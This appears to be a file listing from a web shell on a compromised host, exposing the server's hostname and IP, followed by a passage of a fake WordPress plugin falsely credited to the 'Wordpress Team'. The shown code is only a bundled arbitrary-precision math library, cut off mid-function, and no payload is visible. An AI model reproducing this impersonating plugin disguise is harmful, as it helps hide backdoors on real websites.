bavarodiscovery.com

Linux premium181.web-hosting.com 4.18.0-553.45.1.lve.el8.x86_64 #1 SMP Wed Mar 26 12:08:09 UTC 2025 x86_64
LiteSpeed
162.0.215.7
Cant read /etc/named.conf

wp-buzzboxsdkhelloworld-getvariablename.php

<?php
/**
 * Plugin Name: Wp_buzzboxsdkhelloworld_getvariablename
 * Description:
 * Plugin URI:  https://wordpress.org/
 * Author URI:  https://wordpress.org/
 * Author:      Wordpress Team
 * Version:     3.14
 *
 * License:     GPL2
 * License URI: https://www.gnu.org/licenses/gpl-2.0.html
 *
 * Network:     true
 */

if (!class_exists('BigInteger')) {
    class BigInteger
    {
        /**#@+
         * Reduction constants
         *
         * @access private
         * @see BigInteger::_reduce()
         */
        /**
         * @see BigInteger::_montgomery()
         * @see BigInteger::_prepMontgomery()
         */
        const MONTGOMERY = 0;
        /**
         * @see BigInteger::_barrett()
         */
        const BARRETT = 1;
        /**
         * @see BigInteger::_mod2()
         */
        const POWEROF2 = 2;
        /**
         * @see BigInteger::_remainder()
         */
        const CLASSIC = 3;
        /**
         * @see BigInteger::__clone()
         */
        const NONE = 4;
        /**#@-*/

/**#@+
         * Array constants
         *
         * Rather than create a thousands and thousands of new BigInteger objects in repeated function calls to add() and
         * multiply() or whatever, we'll just work directly on arrays, taking them in as parameters and returning them.
         *
         * @access private
         */
        /**
         * $result[self::VALUE] contains the value.
         */
        const VALUE = 0;
        /**
         * $result[self::SIGN] contains the sign.
         */
        const SIGN = 1;
        /**#@-*/

/**#@+
         * @access private
         * @see BigInteger::_montgomery()
         * @see BigInteger::_barrett()
         */
        /**
         * Cache constants
         *
         * $cache[self::VARIABLE] tells us whether or not the cached data is still valid.
         */
        const VARIABLE = 0;
        /**
         * $cache[self::DATA] contains the cached data.
         */
        const DATA = 1;
        /**#@-*/

/**#@+
         * Mode constants.
         *
         * @access private
         * @see BigInteger::__construct()
         */
        /**
         * To use the pure-PHP implementation
         */
        const MODE_INTERNAL = 1;
        /**
         * To use the BCMath library
         *
         * (if enabled; otherwise, the internal implementation will be used)
         */
        const MODE_BCMATH = 2;
        /**
         * To use the GMP library
         *
         * (if present; otherwise, either the BCMath or the internal implementation will be used)
         */
        const MODE_GMP = 3;
        /**#@-*/

/**
         * Karatsuba Cutoff
         *
         * At what point do we switch between Karatsuba multiplication and schoolbook long multiplication?
         *
         * @access private
         */
        const KARATSUBA_CUTOFF = 25;

/**#@+
         * Static properties used by the pure-PHP implementation.
         *
         * @see __construct()
         */
        protected static $base;
        protected static $baseFull;
        protected static $maxDigit;
        protected static $msb;

/**
         * $max10 in greatest $max10Len satisfying
         * $max10 = 10**$max10Len <= 2**$base.
         */
        protected static $max10;

/**
         * $max10Len in greatest $max10Len satisfying
         * $max10 = 10**$max10Len <= 2**$base.
         */
        protected static $max10Len;
        protected static $maxDigit2;
        /**#@-*/

/**
         * Holds the BigInteger's value.
         *
         * @var array
         * @access private
         */
        var $value;

/**
         * Holds the BigInteger's magnitude.
         *
         * @var bool
         * @access private
         */
        var $is_negative = false;

/**
         * Precision
         *
         * @see self::setPrecision()
         * @access private
         */
        var $precision = -1;

/**
         * Precision Bitmask
         *
         * @see self::setPrecision()
         * @access private
         */
        var $bitmask = false;

/**
         * Mode independent value used for serialization.
         *
         * If the bcmath or gmp extensions are installed $this->value will be a non-serializable resource, hence the need for
         * a variable that'll be serializable regardless of whether or not extensions are being used.  Unlike $this->value,
         * however, $this->hex is only calculated when $this->__sleep() is called.
         *
         * @see self::__sleep()
         * @see self::__wakeup()
         * @var string
         * @access private
         */
        var $hex;

/**
         * Converts base-2, base-10, base-16, and binary strings (base-256) to BigIntegers.
         *
         * If the second parameter - $base - is negative, then it will be assumed that the number's are encoded using
         * two's compliment.  The sole exception to this is -10, which is treated the same as 10 is.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('0x32', 16); // 50 in base-16
         *
         *    echo $a->toString(); // outputs 50
         * ?>
         * </code>
         *
         * @param int|string|resource $x base-10 number or base-$base number if $base set.
         * @param int $base
         * @return \phpseclib\Math\BigInteger
         * @access public
         */
        function __construct($x = 0, $base = 10)
        {
            if (!defined('MATH_BIGINTEGER_MODE')) {
                switch (true) {
                    case extension_loaded('gmp'):
                        define('MATH_BIGINTEGER_MODE', self::MODE_GMP);
                        break;
                    case extension_loaded('bcmath'):
                        define('MATH_BIGINTEGER_MODE', self::MODE_BCMATH);
                        break;
                    default:
                        define('MATH_BIGINTEGER_MODE', self::MODE_INTERNAL);
                }
            }

if (extension_loaded('openssl') && !defined('MATH_BIGINTEGER_OPENSSL_DISABLE') && !defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) {
                // some versions of XAMPP have mismatched versions of OpenSSL which causes it not to work
                $versions = array();

// avoid generating errors (even with suppression) when phpinfo() is disabled (common in production systems)
                if (function_exists('phpinfo')) {
                    ob_start();
                    @phpinfo();
                    $content = ob_get_contents();
                    ob_end_clean();

preg_match_all('#OpenSSL (Header|Library) Version(.*)#im', $content, $matches);

if (!empty($matches[1])) {
                        for ($i = 0; $i < count($matches[1]); $i++) {
                            $fullVersion = trim(str_replace('=>', '', strip_tags($matches[2][$i])));

// Remove letter part in OpenSSL version
                            if (!preg_match('/(\d+\.\d+\.\d+)/i', $fullVersion, $m)) {
                                $versions[$matches[1][$i]] = $fullVersion;
                            } else {
                                $versions[$matches[1][$i]] = $m[0];
                            }
                        }
                    }
                }

// it doesn't appear that OpenSSL versions were reported upon until PHP 5.3+
                switch (true) {
                    case !isset($versions['Header']):
                    case !isset($versions['Library']):
                    case $versions['Header'] == $versions['Library']:
                    case version_compare($versions['Header'], '1.0.0') >= 0 && version_compare($versions['Library'], '1.0.0') >= 0:
                        define('MATH_BIGINTEGER_OPENSSL_ENABLED', true);
                        break;
                    default:
                        define('MATH_BIGINTEGER_OPENSSL_DISABLE', true);
                }
            }

if (!defined('PHP_INT_SIZE')) {
                define('PHP_INT_SIZE', 4);
            }

if (empty(self::$base) && MATH_BIGINTEGER_MODE == self::MODE_INTERNAL) {
                switch (PHP_INT_SIZE) {
                    case 8: // use 64-bit integers if int size is 8 bytes
                        self::$base = 31;
                        self::$baseFull = 0x80000000;
                        self::$maxDigit = 0x7FFFFFFF;
                        self::$msb = 0x40000000;
                        self::$max10 = 1000000000;
                        self::$max10Len = 9;
                        self::$maxDigit2 = pow(2, 62);
                        break;
                    //case 4: // use 64-bit floats if int size is 4 bytes
                    default:
                        self::$base = 26;
                        self::$baseFull = 0x4000000;
                        self::$maxDigit = 0x3FFFFFF;
                        self::$msb = 0x2000000;
                        self::$max10 = 10000000;
                        self::$max10Len = 7;
                        self::$maxDigit2 = pow(2, 52); // pow() prevents truncation
                }
            }

switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    switch (true) {
                        case is_resource($x) && get_resource_type($x) == 'GMP integer':
                            // PHP 5.6 switched GMP from using resources to objects
                        case $x instanceof \GMP:
                            $this->value = $x;
                            return;
                    }
                    $this->value = gmp_init(0);
                    break;
                case self::MODE_BCMATH:
                    $this->value = '0';
                    break;
                default:
                    $this->value = array();
            }

// '0' counts as empty() but when the base is 256 '0' is equal to ord('0') or 48
            // '0' is the only value like this per http://php.net/empty
            if (empty($x) && (abs($base) != 256 || $x !== '0')) {
                return;
            }

switch ($base) {
                case -256:
                    if (ord($x[0]) & 0x80) {
                        $x = ~$x;
                        $this->is_negative = true;
                    }
                case 256:
                    switch (MATH_BIGINTEGER_MODE) {
                        case self::MODE_GMP:
                            $this->value = function_exists('gmp_import') ?
                                gmp_import($x) :
                                gmp_init('0x' . bin2hex($x));
                            if ($this->is_negative) {
                                $this->value = gmp_neg($this->value);
                            }
                            break;
                        case self::MODE_BCMATH:
                            // round $len to the nearest 4 (thanks, DavidMJ!)
                            $len = (strlen($x) + 3) & ~3;

$x = str_pad($x, $len, chr(0), STR_PAD_LEFT);

for ($i = 0; $i < $len; $i += 4) {
                                $this->value = bcmul($this->value, '4294967296', 0); // 4294967296 == 2**32
                                $this->value = bcadd($this->value, 0x1000000 * ord($x[$i]) + ((ord($x[$i + 1]) << 16) | (ord($x[$i + 2]) << 8) | ord($x[$i + 3])), 0);
                            }

if ($this->is_negative) {
                                $this->value = '-' . $this->value;
                            }

break;
                        // converts a base-2**8 (big endian / msb) number to base-2**26 (little endian / lsb)
                        default:
                            while (strlen($x)) {
                                $this->value[] = $this->_bytes2int($this->_base256_rshift($x, self::$base));
                            }
                    }

if ($this->is_negative) {
                        if (MATH_BIGINTEGER_MODE != self::MODE_INTERNAL) {
                            $this->is_negative = false;
                        }
                        $temp = $this->add(new static('-1'));
                        $this->value = $temp->value;
                    }
                    break;
                case 16:
                case -16:
                    if ($base > 0 && $x[0] == '-') {
                        $this->is_negative = true;
                        $x = substr($x, 1);
                    }

$x = preg_replace('#^(?:0x)?([A-Fa-f0-9]*).*#', '$1', $x);

$is_negative = false;
                    if ($base < 0 && hexdec($x[0]) >= 8) {
                        $this->is_negative = $is_negative = true;
                        $x = bin2hex(~pack('H*', $x));
                    }

switch (MATH_BIGINTEGER_MODE) {
                        case self::MODE_GMP:
                            $temp = $this->is_negative ? '-0x' . $x : '0x' . $x;
                            $this->value = gmp_init($temp);
                            $this->is_negative = false;
                            break;
                        case self::MODE_BCMATH:
                            $x = (strlen($x) & 1) ? '0' . $x : $x;
                            $temp = new static(pack('H*', $x), 256);
                            $this->value = $this->is_negative ? '-' . $temp->value : $temp->value;
                            $this->is_negative = false;
                            break;
                        default:
                            $x = (strlen($x) & 1) ? '0' . $x : $x;
                            $temp = new static(pack('H*', $x), 256);
                            $this->value = $temp->value;
                    }

if ($is_negative) {
                        $temp = $this->add(new static('-1'));
                        $this->value = $temp->value;
                    }
                    break;
                case 10:
                case -10:
                    // (?<!^)(?:-).*: find any -'s that aren't at the beginning and then any characters that follow that
                    // (?<=^|-)0*: find any 0's that are preceded by the start of the string or by a - (ie. octals)
                    // [^-0-9].*: find any non-numeric characters and then any characters that follow that
                    $x = preg_replace('#(?<!^)(?:-).*|(?<=^|-)0*|[^-0-9].*#', '', $x);
                    if (!strlen($x) || $x == '-') {
                        $x = '0';
                    }

switch (MATH_BIGINTEGER_MODE) {
                        case self::MODE_GMP:
                            $this->value = gmp_init($x);
                            break;
                        case self::MODE_BCMATH:
                            // explicitly casting $x to a string is necessary, here, since doing $x[0] on -1 yields different
                            // results then doing it on '-1' does (modInverse does $x[0])
                            $this->value = $x === '-' ? '0' : (string)$x;
                            break;
                        default:
                            $temp = new static();

$multiplier = new static();
                            $multiplier->value = array(self::$max10);

if ($x[0] == '-') {
                                $this->is_negative = true;
                                $x = substr($x, 1);
                            }

$x = str_pad($x, strlen($x) + ((self::$max10Len - 1) * strlen($x)) % self::$max10Len, 0, STR_PAD_LEFT);
                            while (strlen($x)) {
                                $temp = $temp->multiply($multiplier);
                                $temp = $temp->add(new static($this->_int2bytes(substr($x, 0, self::$max10Len)), 256));
                                $x = substr($x, self::$max10Len);
                            }

$this->value = $temp->value;
                    }
                    break;
                case 2: // base-2 support originally implemented by Lluis Pamies - thanks!
                case -2:
                    if ($base > 0 && $x[0] == '-') {
                        $this->is_negative = true;
                        $x = substr($x, 1);
                    }

$x = preg_replace('#^([01]*).*#', '$1', $x);
                    $x = str_pad($x, strlen($x) + (3 * strlen($x)) % 4, 0, STR_PAD_LEFT);

$str = '0x';
                    while (strlen($x)) {
                        $part = substr($x, 0, 4);
                        $str .= dechex(bindec($part));
                        $x = substr($x, 4);
                    }

if ($this->is_negative) {
                        $str = '-' . $str;
                    }

$temp = new static($str, 8 * $base); // ie. either -16 or +16
                    $this->value = $temp->value;
                    $this->is_negative = $temp->is_negative;

break;
                default:
                    // base not supported, so we'll let $this == 0
            }
        }

/**
         * Converts a BigInteger to a byte string (eg. base-256).
         *
         * Negative numbers are saved as positive numbers, unless $twos_compliment is set to true, at which point, they're
         * saved as two's compliment.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('65');
         *
         *    echo $a->toBytes(); // outputs chr(65)
         * ?>
         * </code>
         *
         * @param bool $twos_compliment
         * @return string
         * @access public
         * @internal Converts a base-2**26 number to base-2**8
         */
        function toBytes($twos_compliment = false)
        {
            if ($twos_compliment) {
                $comparison = $this->compare(new static());
                if ($comparison == 0) {
                    return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : '';
                }

$temp = $comparison < 0 ? $this->add(new static(1)) : $this->copy();
                $bytes = $temp->toBytes();

if (!strlen($bytes)) { // eg. if the number we're trying to convert is -1
                    $bytes = chr(0);
                }

if ($this->precision <= 0 && (ord($bytes[0]) & 0x80)) {
                    $bytes = chr(0) . $bytes;
                }

return $comparison < 0 ? ~$bytes : $bytes;
            }

switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    if (gmp_cmp($this->value, gmp_init(0)) == 0) {
                        return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : '';
                    }

if (function_exists('gmp_export')) {
                        $temp = gmp_export($this->value);
                    } else {
                        $temp = gmp_strval(gmp_abs($this->value), 16);
                        $temp = (strlen($temp) & 1) ? '0' . $temp : $temp;
                        $temp = pack('H*', $temp);
                    }

return $this->precision > 0 ?
                        substr(str_pad($temp, $this->precision >> 3, chr(0), STR_PAD_LEFT), -($this->precision >> 3)) :
                        ltrim($temp, chr(0));
                case self::MODE_BCMATH:
                    if ($this->value === '0') {
                        return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : '';
                    }

$value = '';
                    $current = $this->value;

if ($current[0] == '-') {
                        $current = substr($current, 1);
                    }

while (bccomp($current, '0', 0) > 0) {
                        $temp = bcmod($current, '16777216');
                        $value = chr($temp >> 16) . chr($temp >> 8) . chr($temp) . $value;
                        $current = bcdiv($current, '16777216', 0);
                    }

return $this->precision > 0 ?
                        substr(str_pad($value, $this->precision >> 3, chr(0), STR_PAD_LEFT), -($this->precision >> 3)) :
                        ltrim($value, chr(0));
            }

if (!count($this->value)) {
                return $this->precision > 0 ? str_repeat(chr(0), ($this->precision + 1) >> 3) : '';
            }
            $result = $this->_int2bytes($this->value[count($this->value) - 1]);

$temp = $this->copy();

for ($i = count($temp->value) - 2; $i >= 0; --$i) {
                $temp->_base256_lshift($result, self::$base);
                $result = $result | str_pad($temp->_int2bytes($temp->value[$i]), strlen($result), chr(0), STR_PAD_LEFT);
            }

return $this->precision > 0 ?
                str_pad(substr($result, -(($this->precision + 7) >> 3)), ($this->precision + 7) >> 3, chr(0), STR_PAD_LEFT) :
                $result;
        }

/**
         * Converts a BigInteger to a hex string (eg. base-16)).
         *
         * Negative numbers are saved as positive numbers, unless $twos_compliment is set to true, at which point, they're
         * saved as two's compliment.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('65');
         *
         *    echo $a->toHex(); // outputs '41'
         * ?>
         * </code>
         *
         * @param bool $twos_compliment
         * @return string
         * @access public
         * @internal Converts a base-2**26 number to base-2**8
         */
        function toHex($twos_compliment = false)
        {
            return bin2hex($this->toBytes($twos_compliment));
        }

/**
         * Converts a BigInteger to a bit string (eg. base-2).
         *
         * Negative numbers are saved as positive numbers, unless $twos_compliment is set to true, at which point, they're
         * saved as two's compliment.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('65');
         *
         *    echo $a->toBits(); // outputs '1000001'
         * ?>
         * </code>
         *
         * @param bool $twos_compliment
         * @return string
         * @access public
         * @internal Converts a base-2**26 number to base-2**2
         */
        function toBits($twos_compliment = false)
        {
            $hex = $this->toHex($twos_compliment);
            $bits = '';
            for ($i = strlen($hex) - 6, $start = strlen($hex) % 6; $i >= $start; $i -= 6) {
                $bits = str_pad(decbin(hexdec(substr($hex, $i, 6))), 24, '0', STR_PAD_LEFT) . $bits;
            }
            if ($start) { // hexdec('') == 0
                $bits = str_pad(decbin(hexdec(substr($hex, 0, $start))), 8 * $start, '0', STR_PAD_LEFT) . $bits;
            }
            $result = $this->precision > 0 ? substr($bits, -$this->precision) : ltrim($bits, '0');

if ($twos_compliment && $this->compare(new static()) > 0 && $this->precision <= 0) {
                return '0' . $result;
            }

return $result;
        }

/**
         * Converts a BigInteger to a base-10 number.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('50');
         *
         *    echo $a->toString(); // outputs 50
         * ?>
         * </code>
         *
         * @return string
         * @access public
         * @internal Converts a base-2**26 number to base-10**7 (which is pretty much base-10)
         */
        function toString()
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    return gmp_strval($this->value);
                case self::MODE_BCMATH:
                    if ($this->value === '0') {
                        return '0';
                    }

return ltrim($this->value, '0');
            }

if (!count($this->value)) {
                return '0';
            }

$temp = $this->copy();
            $temp->bitmask = false;
            $temp->is_negative = false;

$divisor = new static();
            $divisor->value = array(self::$max10);
            $result = '';
            while (count($temp->value)) {
                list($temp, $mod) = $temp->divide($divisor);
                $result = str_pad(isset($mod->value[0]) ? $mod->value[0] : '', self::$max10Len, '0', STR_PAD_LEFT) . $result;
            }
            $result = ltrim($result, '0');
            if (empty($result)) {
                $result = '0';
            }

if ($this->is_negative) {
                $result = '-' . $result;
            }

return $result;
        }

/**
         * Copy an object
         *
         * PHP5 passes objects by reference while PHP4 passes by value.  As such, we need a function to guarantee
         * that all objects are passed by value, when appropriate.  More information can be found here:
         *
         * {@link http://php.net/language.oop5.basic#51624}
         *
         * @access public
         * @return \phpseclib\Math\BigInteger
         * @see self::__clone()
         */
        function copy()
        {
            $temp = new static();
            $temp->value = $this->value;
            $temp->is_negative = $this->is_negative;
            $temp->precision = $this->precision;
            $temp->bitmask = $this->bitmask;
            return $temp;
        }

/**
         *  __toString() magic method
         *
         * Will be called, automatically, if you're supporting just PHP5.  If you're supporting PHP4, you'll need to call
         * toString().
         *
         * @access public
         * @internal Implemented per a suggestion by Techie-Michael - thanks!
         */
        function __toString()
        {
            return $this->toString();
        }

/**
         * __clone() magic method
         *
         * Although you can call BigInteger::__toString() directly in PHP5, you cannot call BigInteger::__clone() directly
         * in PHP5.  You can in PHP4 since it's not a magic method, but in PHP5, you have to call it by using the PHP5
         * only syntax of $y = clone $x.  As such, if you're trying to write an application that works on both PHP4 and
         * PHP5, call BigInteger::copy(), instead.
         *
         * @access public
         * @return \phpseclib\Math\BigInteger
         * @see self::copy()
         */
        function __clone()
        {
            return $this->copy();
        }

/**
         *  __sleep() magic method
         *
         * Will be called, automatically, when serialize() is called on a BigInteger object.
         *
         * @see self::__wakeup()
         * @access public
         */
        function __sleep()
        {
            $this->hex = $this->toHex(true);
            $vars = array('hex');
            if ($this->precision > 0) {
                $vars[] = 'precision';
            }
            return $vars;
        }

/**
         *  __wakeup() magic method
         *
         * Will be called, automatically, when unserialize() is called on a BigInteger object.
         *
         * @see self::__sleep()
         * @access public
         */
        function __wakeup()
        {
            $temp = new static($this->hex, -16);
            $this->value = $temp->value;
            $this->is_negative = $temp->is_negative;
            if ($this->precision > 0) {
                // recalculate $this->bitmask
                $this->setPrecision($this->precision);
            }
        }

/**
         *  __debugInfo() magic method
         *
         * Will be called, automatically, when print_r() or var_dump() are called
         *
         * @access public
         */
        function __debugInfo()
        {
            $opts = array();
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $engine = 'gmp';
                    break;
                case self::MODE_BCMATH:
                    $engine = 'bcmath';
                    break;
                case self::MODE_INTERNAL:
                    $engine = 'internal';
                    $opts[] = PHP_INT_SIZE == 8 ? '64-bit' : '32-bit';
            }
            if (MATH_BIGINTEGER_MODE != self::MODE_GMP && defined('MATH_BIGINTEGER_OPENSSL_ENABLED')) {
                $opts[] = 'OpenSSL';
            }
            if (!empty($opts)) {
                $engine .= ' (' . implode('.', $opts) . ')';
            }
            return array(
                'value' => '0x' . $this->toHex(true),
                'engine' => $engine
            );
        }

/**
         * Adds two BigIntegers.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('10');
         *    $b = new \phpseclib\Math\BigInteger('20');
         *
         *    $c = $a->add($b);
         *
         *    echo $c->toString(); // outputs 30
         * ?>
         * </code>
         *
         * @param \phpseclib\Math\BigInteger $y
         * @return \phpseclib\Math\BigInteger
         * @access public
         * @internal Performs base-2**52 addition
         */
        function add($y)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $temp = new static();
                    $temp->value = gmp_add($this->value, $y->value);

return $this->_normalize($temp);
                case self::MODE_BCMATH:
                    $temp = new static();
                    $temp->value = bcadd($this->value, $y->value, 0);

return $this->_normalize($temp);
            }

$temp = $this->_add($this->value, $this->is_negative, $y->value, $y->is_negative);

$result = new static();
            $result->value = $temp[self::VALUE];
            $result->is_negative = $temp[self::SIGN];

return $this->_normalize($result);
        }

/**
         * Performs addition.
         *
         * @param array $x_value
         * @param bool $x_negative
         * @param array $y_value
         * @param bool $y_negative
         * @return array
         * @access private
         */
        function _add($x_value, $x_negative, $y_value, $y_negative)
        {
            $x_size = count($x_value);
            $y_size = count($y_value);

if ($x_size == 0) {
                return array(
                    self::VALUE => $y_value,
                    self::SIGN => $y_negative
                );
            } elseif ($y_size == 0) {
                return array(
                    self::VALUE => $x_value,
                    self::SIGN => $x_negative
                );
            }

// subtract, if appropriate
            if ($x_negative != $y_negative) {
                if ($x_value == $y_value) {
                    return array(
                        self::VALUE => array(),
                        self::SIGN => false
                    );
                }

$temp = $this->_subtract($x_value, false, $y_value, false);
                $temp[self::SIGN] = $this->_compare($x_value, false, $y_value, false) > 0 ?
                    $x_negative : $y_negative;

return $temp;
            }

if ($x_size < $y_size) {
                $size = $x_size;
                $value = $y_value;
            } else {
                $size = $y_size;
                $value = $x_value;
            }

$value[count($value)] = 0; // just in case the carry adds an extra digit

$carry = 0;
            for ($i = 0, $j = 1; $j < $size; $i += 2, $j += 2) {
                $sum = $x_value[$j] * self::$baseFull + $x_value[$i] + $y_value[$j] * self::$baseFull + $y_value[$i] + $carry;
                $carry = $sum >= self::$maxDigit2; // eg. floor($sum / 2**52); only possible values (in any base) are 0 and 1
                $sum = $carry ? $sum - self::$maxDigit2 : $sum;

$temp = self::$base === 26 ? intval($sum / 0x4000000) : ($sum >> 31);

$value[$i] = (int)($sum - self::$baseFull * $temp); // eg. a faster alternative to fmod($sum, 0x4000000)
                $value[$j] = $temp;
            }

if ($j == $size) { // ie. if $y_size is odd
                $sum = $x_value[$i] + $y_value[$i] + $carry;
                $carry = $sum >= self::$baseFull;
                $value[$i] = $carry ? $sum - self::$baseFull : $sum;
                ++$i; // ie. let $i = $j since we've just done $value[$i]
            }

if ($carry) {
                for (; $value[$i] == self::$maxDigit; ++$i) {
                    $value[$i] = 0;
                }
                ++$value[$i];
            }

return array(
                self::VALUE => $this->_trim($value),
                self::SIGN => $x_negative
            );
        }

/**
         * Subtracts two BigIntegers.
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('10');
         *    $b = new \phpseclib\Math\BigInteger('20');
         *
         *    $c = $a->subtract($b);
         *
         *    echo $c->toString(); // outputs -10
         * ?>
         * </code>
         *
         * @param \phpseclib\Math\BigInteger $y
         * @return \phpseclib\Math\BigInteger
         * @access public
         * @internal Performs base-2**52 subtraction
         */
        function subtract($y)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $temp = new static();
                    $temp->value = gmp_sub($this->value, $y->value);

return $this->_normalize($temp);
                case self::MODE_BCMATH:
                    $temp = new static();
                    $temp->value = bcsub($this->value, $y->value, 0);

return $this->_normalize($temp);
            }

$temp = $this->_subtract($this->value, $this->is_negative, $y->value, $y->is_negative);

$result = new static();
            $result->value = $temp[self::VALUE];
            $result->is_negative = $temp[self::SIGN];

return $this->_normalize($result);
        }

/**
         * Performs subtraction.
         *
         * @param array $x_value
         * @param bool $x_negative
         * @param array $y_value
         * @param bool $y_negative
         * @return array
         * @access private
         */
        function _subtract($x_value, $x_negative, $y_value, $y_negative)
        {
            $x_size = count($x_value);
            $y_size = count($y_value);

if ($x_size == 0) {
                return array(
                    self::VALUE => $y_value,
                    self::SIGN => !$y_negative
                );
            } elseif ($y_size == 0) {
                return array(
                    self::VALUE => $x_value,
                    self::SIGN => $x_negative
                );
            }

// add, if appropriate (ie. -$x - +$y or +$x - -$y)
            if ($x_negative != $y_negative) {
                $temp = $this->_add($x_value, false, $y_value, false);
                $temp[self::SIGN] = $x_negative;

return $temp;
            }

$diff = $this->_compare($x_value, $x_negative, $y_value, $y_negative);

if (!$diff) {
                return array(
                    self::VALUE => array(),
                    self::SIGN => false
                );
            }

// switch $x and $y around, if appropriate.
            if ((!$x_negative && $diff < 0) || ($x_negative && $diff > 0)) {
                $temp = $x_value;
                $x_value = $y_value;
                $y_value = $temp;

$x_negative = !$x_negative;

$x_size = count($x_value);
                $y_size = count($y_value);
            }

// at this point, $x_value should be at least as big as - if not bigger than - $y_value

$carry = 0;
            for ($i = 0, $j = 1; $j < $y_size; $i += 2, $j += 2) {
                $sum = $x_value[$j] * self::$baseFull + $x_value[$i] - $y_value[$j] * self::$baseFull - $y_value[$i] - $carry;
                $carry = $sum < 0; // eg. floor($sum / 2**52); only possible values (in any base) are 0 and 1
                $sum = $carry ? $sum + self::$maxDigit2 : $sum;

$temp = self::$base === 26 ? intval($sum / 0x4000000) : ($sum >> 31);

$x_value[$i] = (int)($sum - self::$baseFull * $temp);
                $x_value[$j] = $temp;
            }

if ($j == $y_size) { // ie. if $y_size is odd
                $sum = $x_value[$i] - $y_value[$i] - $carry;
                $carry = $sum < 0;
                $x_value[$i] = $carry ? $sum + self::$baseFull : $sum;
                ++$i;
            }

if ($carry) {
                for (; !$x_value[$i]; ++$i) {
                    $x_value[$i] = self::$maxDigit;
                }
                --$x_value[$i];
            }

return array(
                self::VALUE => $this->_trim($x_value),
                self::SIGN => $x_negative
            );
        }

/**
         * Multiplies two BigIntegers
         *
         * Here's an example:
         * <code>
         * <?php
         *    $a = new \phpseclib\Math\BigInteger('10');
         *    $b = new \phpseclib\Math\BigInteger('20');
         *
         *    $c = $a->multiply($b);
         *
         *    echo $c->toString(); // outputs 200
         * ?>
         * </code>
         *
         * @param \phpseclib\Math\BigInteger $x
         * @return \phpseclib\Math\BigInteger
         * @access public
         */
        function multiply($x)
        {
            switch (MATH_BIGINTEGER_MODE) {
                case self::MODE_GMP:
                    $temp = new static();
                    $temp->value = gmp_mul($this->value, $x->value);

return $this->_normalize($temp);
                case self::MODE_BCMATH:
                    $temp = new static();
                    $temp->value = bcmul($this->value, $x->value, 0);

return $this->_normalize($temp);
            }

$temp = $this->_multiply($this->value, $this->is_negative, $x->value, $x->is_negative);

$product = new static();
            $product->value = $temp[self::VALUE];
            $product->is_negative = $temp[self::SIGN];

return $this->_normalize($product);
        }

/**
         * Performs multiplication.
         *
         * @param array $x_value
         * @param bool $x_negative
         * @param array $y_value
         * @param bool $y_negative
         * @return array
         * @access private
         */
        function _multiply($x_value, $x_negative, $y_value, $y_negative)
        {
            //if ( $x_value == $y_value ) {
            //    return array(
            //        self::VALUE => $this->_square($x_value),
            //        self::SIGN => $x_sign != $y_value
            //    );
            //}

$x_length = count($x_value);
            $y_length = count($y_value);

if (!$x_length || !$y_length) { // a 0 is being multiplied
                return array(
                    self::VALUE => array(),
                    self::SIGN => false
                );
            }

return array(
                self::VALUE => min($x_length, $y_length) < 2 * self::KARATSUBA_CUTOFF ?
                    $this->_trim($this->_regularMultiply($x_value, $y_value)) :
                    $this->_trim($this->_karatsuba($x_value, $y_value)),
                self::SIGN => $x_negative != $y_negative
            );
        }

/**
         * Performs long multiplication on two BigIntegers
         *
         * Modeled after 'multiply' in MutableBigInteger.java.
         *
         * @param array $x_value
         * @param array $y_value
         * @return array
         * @access private
         */
        function _regularMultiply($x_value, $y_value)
        {
            $x_length = count($x_value);
            $y_length = count($y_value);

if (!$x_length || !$y_length) { // a 0 is being multiplied
                return array();
            }

if ($x_length < $y_length) {
                $temp = $x_value;
                $x_value = $y_value;
                $y_value = $temp;

$x_length = count($x_value);
                $y_length = count($y_value);
            }

$product_value = $this->_array_repeat(0, $x_length + $y_length);

// the following for loop could be removed if the for loop following it
            // (the one with nested for loops) initially set $i to 0, but
            // doing so would also make the result in one set of unnecessary adds,
            // since on the outermost loops first pass, $product->value[$k] is going
            // to always be 0

$carry = 0;

for ($j = 0; $j < $x_length; ++$j) { // ie. $i = 0
                $temp = $x_value[$j] * $y_value[0] + $carry; // $product_value[$k] == 0
                $carry = self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
                $product_value[$j] = (int)($temp - self::$baseFull * $carry);
            }

$product_value[$j] = $carry;

// the above for loop is what the previous comment was talking about.  the
            // following for loop is the "one with nested for loops"
            for ($i = 1; $i < $y_length; ++$i) {
                $carry = 0;

for ($j = 0, $k = $i; $j < $x_length; ++$j, ++$k) {
                    $temp = $product_value[$k] + $x_value[$j] * $y_value[$i] + $carry;
                    $carry = self::$base === 26 ? intval($temp / 0x4000000) : ($temp >> 31);
                    $product_value[$k] = (int)($temp - self::$baseFull * $carry);
                }

$product_value[$k] = $carry;
            }

return $product_value;
        }

/**
         * Performs Karatsuba multiplication on two BigIntegers
         *
         * See {@link http://en.wikipedia.org/wiki/Karatsuba_algorithm Karatsuba algorithm} and
         * {@link http://math.libtomcrypt.com/files/tommath.pdf#page=120 MPM 5.2.3}.
         *
         * @param array $x_value
         * @param array $y_value
         * @return array
         * @access private
         */
        function _karatsuba($x_value, $y_value)
        {
            $m = min(count($x_value) >> 1, count($y_value) >> 1);

if ($m < self::KARATSUBA_CUTOFF) {
